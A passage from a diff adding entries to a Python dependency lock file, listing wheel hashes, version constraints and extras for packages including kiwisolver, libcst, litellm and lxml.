"sha256:16523b40aab60426ffdebe33ac374457cf62863e330a90a0383639ce14bf44b2"}, + {file = "kiwisolver-1.4.8-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d6af5e8815fd02997cb6ad9bbed0ee1e60014438ee1a5c2444c96f87b8843502"}, + {file = "kiwisolver-1.4.8-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bade438f86e21d91e0cf5dd7c0ed00cda0f77c8c1616bd83f9fc157fa6760d31"}, + {file = "kiwisolver-1.4.8-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b83dc6769ddbc57613280118fb4ce3cd08899cc3369f7d0e0fab518a7cf37fdb"}, + {file = "kiwisolver-1.4.8-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:111793b232842991be367ed828076b03d96202c19221b5ebab421ce8bcad016f"}, + {file = "kiwisolver-1.4.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:257af1622860e51b1a9d0ce387bf5c2c4f36a90594cb9514f55b074bcc787cfc"}, + {file = "kiwisolver-1.4.8-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:69b5637c3f316cab1ec1c9a12b8c5f4750a4c4b71af9157645bf32830e39c03a"}, + {file = "kiwisolver-1.4.8-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:782bb86f245ec18009890e7cb8d13a5ef54dcf2ebe18ed65f795e635a96a1c6a"}, + {file = "kiwisolver-1.4.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc978a80a0db3a66d25767b03688f1147a69e6237175c0f4ffffaaedf744055a"}, + {file = "kiwisolver-1.4.8-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:36dbbfd34838500a31f52c9786990d00150860e46cd5041386f217101350f0d3"}, + {file = "kiwisolver-1.4.8-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:eaa973f1e05131de5ff3569bbba7f5fd07ea0595d3870ed4a526d486fe57fa1b"}, + {file = "kiwisolver-1.4.8-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:a66f60f8d0c87ab7f59b6fb80e642ebb29fec354a4dfad687ca4092ae69d04f4"}, + {file = "kiwisolver-1.4.8-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:858416b7fb777a53f0c59ca08190ce24e9abbd3cffa18886a5781b8e3e26f65d"}, + {file = "kiwisolver-1.4.8-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:085940635c62697391baafaaeabdf3dd7a6c3643577dde337f4d66eba021b2b8"}, + {file = "kiwisolver-1.4.8-cp312-cp312-win_amd64.whl", hash = "sha256:01c3d31902c7db5fb6182832713d3b4122ad9317c2c5877d0539227d96bb2e50"}, + {file = "kiwisolver-1.4.8-cp312-cp312-win_arm64.whl", hash = "sha256:a3c44cb68861de93f0c4a8175fbaa691f0aa22550c331fefef02b618a9dcb476"}, + {file = "kiwisolver-1.4.8-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:1c8ceb754339793c24aee1c9fb2485b5b1f5bb1c2c214ff13368431e51fc9a09"}, + {file = "kiwisolver-1.4.8-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:54a62808ac74b5e55a04a408cda6156f986cefbcf0ada13572696b507cc92fa1"}, + {file = "kiwisolver-1.4.8-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:68269e60ee4929893aad82666821aaacbd455284124817af45c11e50a4b42e3c"}, + {file = "kiwisolver-1.4.8-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:34d142fba9c464bc3bbfeff15c96eab0e7310343d6aefb62a79d51421fcc5f1b"}, + {file = "kiwisolver-1.4.8-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ddc373e0eef45b59197de815b1b28ef89ae3955e7722cc9710fb91cd77b7f47"}, + {file = "kiwisolver-1.4.8-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:77e6f57a20b9bd4e1e2cedda4d0b986ebd0216236f0106e55c28aea3d3d69b16"}, + {file = "kiwisolver-1.4.8-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:08e77738ed7538f036cd1170cbed942ef749137b1311fa2bbe2a7fda2f6bf3cc"}, + {file = "kiwisolver-1.4.8-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5ce1e481a74b44dd5e92ff03ea0cb371ae7a0268318e202be06c8f04f4f1246"}, + {file = "kiwisolver-1.4.8-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:fc2ace710ba7c1dfd1a3b42530b62b9ceed115f19a1656adefce7b1782a37794"}, + {file = "kiwisolver-1.4.8-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3452046c37c7692bd52b0e752b87954ef86ee2224e624ef7ce6cb21e8c41cc1b"}, + {file = "kiwisolver-1.4.8-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7e9a60b50fe8b2ec6f448fe8d81b07e40141bfced7f896309df271a0b92f80f3"}, + {file = "kiwisolver-1.4.8-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:918139571133f366e8362fa4a297aeba86c7816b7ecf0bc79168080e2bd79957"}, + {file = "kiwisolver-1.4.8-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e063ef9f89885a1d68dd8b2e18f5ead48653176d10a0e324e3b0030e3a69adeb"}, + {file = "kiwisolver-1.4.8-cp313-cp313-win_amd64.whl", hash = "sha256:a17b7c4f5b2c51bb68ed379defd608a03954a1845dfed7cc0117f1cc8a9b7fd2"}, + {file = "kiwisolver-1.4.8-cp313-cp313-win_arm64.whl", hash = "sha256:3cd3bc628b25f74aedc6d374d5babf0166a92ff1317f46267f12d2ed54bc1d30"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:370fd2df41660ed4e26b8c9d6bbcad668fbe2560462cba151a721d49e5b6628c"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:84a2f830d42707de1d191b9490ac186bf7997a9495d4e9072210a1296345f7dc"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:7a3ad337add5148cf51ce0b55642dc551c0b9d6248458a757f98796ca7348712"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7506488470f41169b86d8c9aeff587293f530a23a23a49d6bc64dab66bedc71e"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2f0121b07b356a22fb0414cec4666bbe36fd6d0d759db3d37228f496ed67c880"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d6d6bd87df62c27d4185de7c511c6248040afae67028a8a22012b010bc7ad062"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:291331973c64bb9cce50bbe871fb2e675c4331dab4f31abe89f175ad7679a4d7"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:893f5525bb92d3d735878ec00f781b2de998333659507d29ea4466208df37bed"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:b47a465040146981dc9db8647981b8cb96366fbc8d452b031e4f8fdffec3f26d"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:99cea8b9dd34ff80c521aef46a1dddb0dcc0283cf18bde6d756f1e6f31772165"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:151dffc4865e5fe6dafce5480fab84f950d14566c480c08a53c663a0020504b6"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:577facaa411c10421314598b50413aa1ebcf5126f704f1e5d72d7e4e9f020d90"}, + {file = "kiwisolver-1.4.8-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:be4816dc51c8a471749d664161b434912eee82f2ea66bd7628bd14583a833e85"}, + {file = "kiwisolver-1.4.8-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:e7a019419b7b510f0f7c9dceff8c5eae2392037eae483a7f9162625233802b0a"}, + {file = "kiwisolver-1.4.8-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:286b18e86682fd2217a48fc6be6b0f20c1d0ed10958d8dc53453ad58d7be0bf8"}, + {file = "kiwisolver-1.4.8-pp310-pypy310_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4191ee8dfd0be1c3666ccbac178c5a05d5f8d689bbe3fc92f3c4abec817f8fe0"}, + {file = "kiwisolver-1.4.8-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7cd2785b9391f2873ad46088ed7599a6a71e762e1ea33e87514b1a441ed1da1c"}, + {file = "kiwisolver-1.4.8-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c07b29089b7ba090b6f1a669f1411f27221c3662b3a1b7010e67b59bb5a6f10b"}, + {file = "kiwisolver-1.4.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:65ea09a5a3faadd59c2ce96dc7bf0f364986a315949dc6374f04396b0d60e09b"}, + {file = "kiwisolver-1.4.8.tar.gz", hash = "sha256:23d5f023bdc8c7e54eb65f03ca5d5bb25b601eac4d7f1a042888a1f45237987e"}, +] + +[[package]] +name = "libcst" +version = "1.5.0" +description = "A concrete syntax tree with AST-like properties for Python 3.0 through 3.13 programs." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "libcst-1.5.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:23d0e07fd3ed11480f8993a1e99d58a45f914a711b14f858b8db08ae861a8a34"}, + {file = "libcst-1.5.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d92c5ae2e2dc9356ad7e3d05077d9b7e5065423e45788fd86729c88729e45c6e"}, + {file = "libcst-1.5.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:96adc45e96476350df6b8a5ddbb1e1d6a83a7eb3f13087e52eb7cd2f9b65bcc7"}, + {file = "libcst-1.5.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d5978fd60c66794bb60d037b2e6427ea52d032636e84afce32b0f04e1cf500a"}, + {file = "libcst-1.5.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6502aeb11412afc759036160c686be1107eb5a4466db56b207c786b9b4da7c4"}, + {file = "libcst-1.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:9cccfc0a78e110c0d0a9d2c6fdeb29feb5274c9157508a8baef7edf352420f6d"}, + {file = "libcst-1.5.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:585b3aa705b3767d717d2100935d8ef557275ecdd3fac81c3e28db0959efb0ea"}, + {file = "libcst-1.5.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8935dd3393e30c2f97344866a4cb14efe560200e232166a8db1de7865c2ef8b2"}, + {file = "libcst-1.5.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fc80ea16c7d44e38f193e4d4ef7ff1e0ba72d8e60e8b61ac6f4c87f070a118bd"}, + {file = "libcst-1.5.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:02be4aab728261bb76d16e77c9a457884cebb60d09c8edee844de43b0e08aff7"}, + {file = "libcst-1.5.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a8fcd78be4d9ce3c36d0c5d0bdd384e0c7d5f72970a9e4ebd56070141972b4ad"}, + {file = "libcst-1.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:52b6aadfe54e3ae52c3b815eaaa17ba4da9ff010d5e8adf6a70697872886dd10"}, + {file = "libcst-1.5.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:83bc5fbe34d33597af1d5ea113dcb9b5dd5afe5a5f4316bac4293464d5e3971a"}, + {file = "libcst-1.5.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5f10124bf99a0b075eae136ef0ce06204e5f6b8da4596a9c4853a0663e80ddf3"}, + {file = "libcst-1.5.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48e581af6127c5af4c9f483e5986d94f0c6b2366967ee134f0a8eba0aa4c8c12"}, + {file = "libcst-1.5.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7dba93cca0a5c6d771ed444c44d21ce8ea9b277af7036cea3743677aba9fbbb8"}, + {file = "libcst-1.5.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80b5c4d87721a7bab265c202575809b810815ab81d5e2e7a5d4417a087975840"}, + {file = "libcst-1.5.0-cp312-cp312-win_amd64.whl", hash = "sha256:b48bf71d52c1e891a0948465a94d9817b5fc1ec1a09603566af90585f3b11948"}, + {file = "libcst-1.5.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:88520b6dea59eaea0cae80f77c0a632604a82c5b2d23dedb4b5b34035cbf1615"}, + {file = "libcst-1.5.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:208ea92d80b2eeed8cbc879d5f39f241582a5d56b916b1b65ed2be2f878a2425"}, + {file = "libcst-1.5.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4592872aaf5b7fa5c2727a7d73c0985261f1b3fe7eff51f4fd5b8174f30b4e2"}, + {file = "libcst-1.5.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d2788b2b5838b78fe15df8e9fa6b6903195ea49b2d2ba43e8f423f6c90e4b69f"}, + {file = "libcst-1.5.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b5b5bcd3a9ba92840f27ad34eaa038acbee195ec337da39536c0a2efbbf28efd"}, + {file = "libcst-1.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:4d6acb0bdee1e55b44c6215c59755ec4693ac01e74bb1fde04c37358b378835d"}, + {file = "libcst-1.5.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6453b5a8755a6eee3ad67ee246f13a8eac9827d2cfc8e4a269e8bf0393db74bc"}, + {file = "libcst-1.5.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:40748361f4ea66ab6cdd82f8501c82c29808317ac7a3bd132074efd5fd9bfae2"}, + {file = "libcst-1.5.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4f71aed85932c2ea92058fd9bbd99a6478bd69eada041c3726b4f4c9af1f564e"}, + {file = "libcst-1.5.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b60b09abcc2848ab52d479c3a9b71b606d91a941e3779616efd083bb87dbe8ad"}, + {file = "libcst-1.5.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6fb324ed20f3a725d152df5dba8d80f7e126d9c93cced581bf118a5fc18c1065"}, + {file = "libcst-1.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:99e7c52150a135d66716b03e00c7b1859a44336dc2a2bf8f9acc164494308531"}, + {file = "libcst-1.5.0.tar.gz", hash = "sha256:8478abf21ae3861a073e898d80b822bd56e578886331b33129ba77fec05b8c24"}, +] + +[package.dependencies] +pyyaml = ">=5.2" + +[package.extras] +dev = ["Sphinx (>=5.1.1)", "black (==24.8.0)", "build (>=0.10.0)", "coverage[toml] (>=4.5.4)", "fixit (==2.1.0)", "flake8 (==7.1.1)", "hypothesis (>=4.36.0)", "hypothesmith (>=0.0.4)", "jinja2 (==3.1.4)", "jupyter (>=1.0.0)", "maturin (>=1.7.0,<1.8)", "nbsphinx (>=0.4.2)", "prompt-toolkit (>=2.0.9)", "pyre-check (==0.9.18)", "setuptools-rust (>=1.5.2)", "setuptools-scm (>=6.0.1)", "slotscheck (>=0.7.1)", "sphinx-rtd-theme (>=0.4.3)", "ufmt (==2.7.3)", "usort (==1.0.8.post1)"] + +[[package]] +name = "linkify-it-py" +version = "2.0.3" +description = "Links recognition library with FULL unicode support." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "linkify-it-py-2.0.3.tar.gz", hash = "sha256:68cda27e162e9215c17d786649d1da0021a451bdc436ef9e0fa0ba5234b9b048"}, + {file = "linkify_it_py-2.0.3-py3-none-any.whl", hash = "sha256:6bcbc417b0ac14323382aef5c5192c0075bf8a9d6b41820a2b66371eac6b6d79"}, +] + +[package.dependencies] +uc-micro-py = "*" + +[package.extras] +benchmark = ["pytest", "pytest-benchmark"] +dev = ["black", "flake8", "isort", "pre-commit", "pyproject-flake8"] +doc = ["myst-parser", "sphinx", "sphinx-book-theme"] +test = ["coverage", "pytest", "pytest-cov"] + +[[package]] +name = "litellm" +version = "1.75.0" +description = "Library to easily interface with LLM API providers" +optional = false +python-versions = "!=2.7.*,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,!=3.7.*,>=3.8" +groups = ["main"] +files = [ + {file = "litellm-1.75.0-py3-none-any.whl", hash = "sha256:1657472f37d291b366050dd2035e3640eebd96142d6fa0f935ceb290a0e1d5ad"}, + {file = "litellm-1.75.0.tar.gz", hash = "sha256:ec7fbfe79e1b9cd4a2b36ca9e71e71959d8fc43305b222e5f257aced1a0d1d63"}, +] + +[package.dependencies] +aiohttp = ">=3.10" +apscheduler = {version = ">=3.10.4,<4.0.0", optional = true, markers = "extra == \"proxy\""} +azure-identity = {version = ">=1.15.0,<2.0.0", optional = true, markers = "extra == \"proxy\" or extra == \"extra-proxy\""} +azure-storage-blob = {version = ">=12.25.1,<13.0.0", optional = true, markers = "extra == \"proxy\""} +backoff = {version = "*", optional = true, markers = "extra == \"proxy\""} +boto3 = {version = "1.34.34", optional = true, markers = "extra == \"proxy\""} +click = "*" +cryptography = {version = ">=43.0.1,<44.0.0", optional = true, markers = "extra == \"proxy\""} +fastapi = {version = ">=0.115.5,<0.116.0", optional = true, markers = "extra == \"proxy\""} +fastapi-sso = {version = ">=0.16.0,<0.17.0", optional = true, markers = "extra == \"proxy\""} +gunicorn = {version = ">=23.0.0,<24.0.0", optional = true, markers = "extra == \"proxy\""} +httpx = ">=0.23.0" +importlib-metadata = ">=6.8.0" +jinja2 = ">=3.1.2,<4.0.0" +jsonschema = ">=4.22.0,<5.0.0" +litellm-enterprise = {version = "0.1.17", optional = true, markers = "extra == \"proxy\""} +litellm-proxy-extras = {version = "0.2.15", optional = true, markers = "extra == \"proxy\""} +mcp = {version = ">=1.10.0,<2.0.0", optional = true, markers = "python_version >= \"3.10\" and extra == \"proxy\""} +openai = ">=1.68.2" +orjson = {version = ">=3.9.7,<4.0.0", optional = true, markers = "extra == \"proxy\""} +polars = {version = ">=1.31.0,<2.0.0", optional = true, markers = "python_version >= \"3.10\" and extra == \"proxy\""} +pydantic = ">=2.5.0,<3.0.0" +PyJWT = {version = ">=2.8.0,<3.0.0", optional = true, markers = "extra == \"proxy\""} +pynacl = {version = ">=1.5.0,<2.0.0", optional = true, markers = "extra == \"proxy\""} +python-dotenv = ">=0.2.0" +python-multipart = {version = ">=0.0.18,<0.0.19", optional = true, markers = "extra == \"proxy\""} +pyyaml = {version = ">=6.0.1,<7.0.0", optional = true, markers = "extra == \"proxy\""} +rich = {version = "13.7.1", optional = true, markers = "extra == \"proxy\""} +rq = {version = "*", optional = true, markers = "extra == \"proxy\""} +tiktoken = ">=0.7.0" +tokenizers = "*" +uvicorn = {version = ">=0.29.0,<0.30.0", optional = true, markers = "extra == \"proxy\""} +uvloop = {version = ">=0.21.0,<0.22.0", optional = true, markers = "sys_platform != \"win32\" and extra == \"proxy\""} +websockets = {version = ">=13.1.0,<14.0.0", optional = true, markers = "extra == \"proxy\""} + +[package.extras] +caching = ["diskcache (>=5.6.1,<6.0.0)"] +extra-proxy = ["azure-identity (>=1.15.0,<2.0.0)", "azure-keyvault-secrets (>=4.8.0,<5.0.0)", "google-cloud-kms (>=2.21.3,<3.0.0)", "prisma (==0.11.0)", "redisvl (>=0.4.1,<0.5.0)", "resend (>=0.8.0,<0.9.0)"] +mlflow = ["mlflow (>3.1.4)"] +proxy = ["PyJWT (>=2.8.0,<3.0.0)", "apscheduler (>=3.10.4,<4.0.0)", "azure-identity (>=1.15.0,<2.0.0)", "azure-storage-blob (>=12.25.1,<13.0.0)", "backoff", "boto3 (==1.34.34)", "cryptography (>=43.0.1,<44.0.0)", "fastapi (>=0.115.5,<0.116.0)", "fastapi-sso (>=0.16.0,<0.17.0)", "gunicorn (>=23.0.0,<24.0.0)", "litellm-enterprise (==0.1.17)", "litellm-proxy-extras (==0.2.15)", "mcp (>=1.10.0,<2.0.0)", "orjson (>=3.9.7,<4.0.0)", "polars (>=1.31.0,<2.0.0)", "pynacl (>=1.5.0,<2.0.0)", "python-multipart (>=0.0.18,<0.0.19)", "pyyaml (>=6.0.1,<7.0.0)", "rich (==13.7.1)", "rq", "uvicorn (>=0.29.0,<0.30.0)", "uvloop (>=0.21.0,<0.22.0)", "websockets (>=13.1.0,<14.0.0)"] +semantic-router = ["semantic-router"] +utils = ["numpydoc"] + +[[package]] +name = "litellm-enterprise" +version = "0.1.17" +description = "Package for LiteLLM Enterprise features" +optional = false +python-versions = "!=2.7.*,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,!=3.7.*,>=3.8" +groups = ["main"] +files = [ + {file = "litellm_enterprise-0.1.17.tar.gz", hash = "sha256:5d327c18eb0ce4129d1d456f17a3ba818bd11447b7e48ab325418b5d38b58ce4"}, +] + +[[package]] +name = "litellm-proxy-extras" +version = "0.2.15" +description = "Additional files for the LiteLLM Proxy. Reduces the size of the main litellm package." +optional = false +python-versions = "!=2.7.*,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,!=3.7.*,>=3.8" +groups = ["main"] +files = [ + {file = "litellm_proxy_extras-0.2.15-py3-none-any.whl", hash = "sha256:25e7d7cabe3f10233e2802d4521576bef438eea8b0800b1dbf38ba83ba751bb8"}, + {file = "litellm_proxy_extras-0.2.15.tar.gz", hash = "sha256:62a9fdcb77d25aa7bfdfa04ac878e452f185dfb0b9538d4d8988a1b512360649"}, +] + +[[package]] +name = "lxml" +version = "6.0.0" +description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "lxml-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:35bc626eec405f745199200ccb5c6b36f202675d204aa29bb52e27ba2b71dea8"}, + {file = "lxml-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:246b40f8a4aec341cbbf52617cad8ab7c888d944bfe12a6abd2b1f6cfb6f6082"}, + {file = "lxml-6.0.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:2793a627e95d119e9f1e19720730472f5543a6d84c50ea33313ce328d870f2dd"}, + {file = "lxml-6.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:46b9ed911f36bfeb6338e0b482e7fe7c27d362c52fde29f221fddbc9ee2227e7"}, + {file = "lxml-6.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2b4790b558bee331a933e08883c423f65bbcd07e278f91b2272489e31ab1e2b4"}, + {file = "lxml-6.0.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e2030956cf4886b10be9a0285c6802e078ec2391e1dd7ff3eb509c2c95a69b76"}, + {file = "lxml-6.0.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4d23854ecf381ab1facc8f353dcd9adeddef3652268ee75297c1164c987c11dc"}, + {file = "lxml-6.0.0-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:43fe5af2d590bf4691531b1d9a2495d7aab2090547eaacd224a3afec95706d76"}, + {file = "lxml-6.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:74e748012f8c19b47f7d6321ac929a9a94ee92ef12bc4298c47e8b7219b26541"}, + {file = "lxml-6.0.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:43cfbb7db02b30ad3926e8fceaef260ba2fb7df787e38fa2df890c1ca7966c3b"}, + {file = "lxml-6.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:34190a1ec4f1e84af256495436b2d196529c3f2094f0af80202947567fdbf2e7"}, + {file = "lxml-6.0.0-cp310-cp310-win32.whl", hash = "sha256:5967fe415b1920a3877a4195e9a2b779249630ee49ece22021c690320ff07452"}, + {file = "lxml-6.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:f3389924581d9a770c6caa4df4e74b606180869043b9073e2cec324bad6e306e"}, + {file = "lxml-6.0.0-cp310-cp310-win_arm64.whl", hash = "sha256:522fe7abb41309e9543b0d9b8b434f2b630c5fdaf6482bee642b34c8c70079c8"}, + {file = "lxml-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4ee56288d0df919e4aac43b539dd0e34bb55d6a12a6562038e8d6f3ed07f9e36"}, + {file = "lxml-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b8dd6dd0e9c1992613ccda2bcb74fc9d49159dbe0f0ca4753f37527749885c25"}, + {file = "lxml-6.0.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:d7ae472f74afcc47320238b5dbfd363aba111a525943c8a34a1b657c6be934c3"}, + {file = "lxml-6.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5592401cdf3dc682194727c1ddaa8aa0f3ddc57ca64fd03226a430b955eab6f6"}, + {file = "lxml-6.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:58ffd35bd5425c3c3b9692d078bf7ab851441434531a7e517c4984d5634cd65b"}, + {file = "lxml-6.0.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f720a14aa102a38907c6d5030e3d66b3b680c3e6f6bc95473931ea3c00c59967"}, + {file = "lxml-6.0.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c2a5e8d207311a0170aca0eb6b160af91adc29ec121832e4ac151a57743a1e1e"}, + {file = "lxml-6.0.0-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:2dd1cc3ea7e60bfb31ff32cafe07e24839df573a5e7c2d33304082a5019bcd58"}, + {file = "lxml-6.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2cfcf84f1defed7e5798ef4f88aa25fcc52d279be731ce904789aa7ccfb7e8d2"}, + {file = "lxml-6.0.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:a52a4704811e2623b0324a18d41ad4b9fabf43ce5ff99b14e40a520e2190c851"}, + {file = "lxml-6.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c16304bba98f48a28ae10e32a8e75c349dd742c45156f297e16eeb1ba9287a1f"}, + {file = "lxml-6.0.0-cp311-cp311-win32.whl", hash = "sha256:f8d19565ae3eb956d84da3ef367aa7def14a2735d05bd275cd54c0301f0d0d6c"}, + {file = "lxml-6.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:b2d71cdefda9424adff9a3607ba5bbfc60ee972d73c21c7e3c19e71037574816"}, + {file = "lxml-6.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:8a2e76efbf8772add72d002d67a4c3d0958638696f541734304c7f28217a9cab"}, + {file = "lxml-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:78718d8454a6e928470d511bf8ac93f469283a45c354995f7d19e77292f26108"}, + {file = "lxml-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:84ef591495ffd3f9dcabffd6391db7bb70d7230b5c35ef5148354a134f56f2be"}, + {file = "lxml-6.0.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:2930aa001a3776c3e2601cb8e0a15d21b8270528d89cc308be4843ade546b9ab"}, + {file = 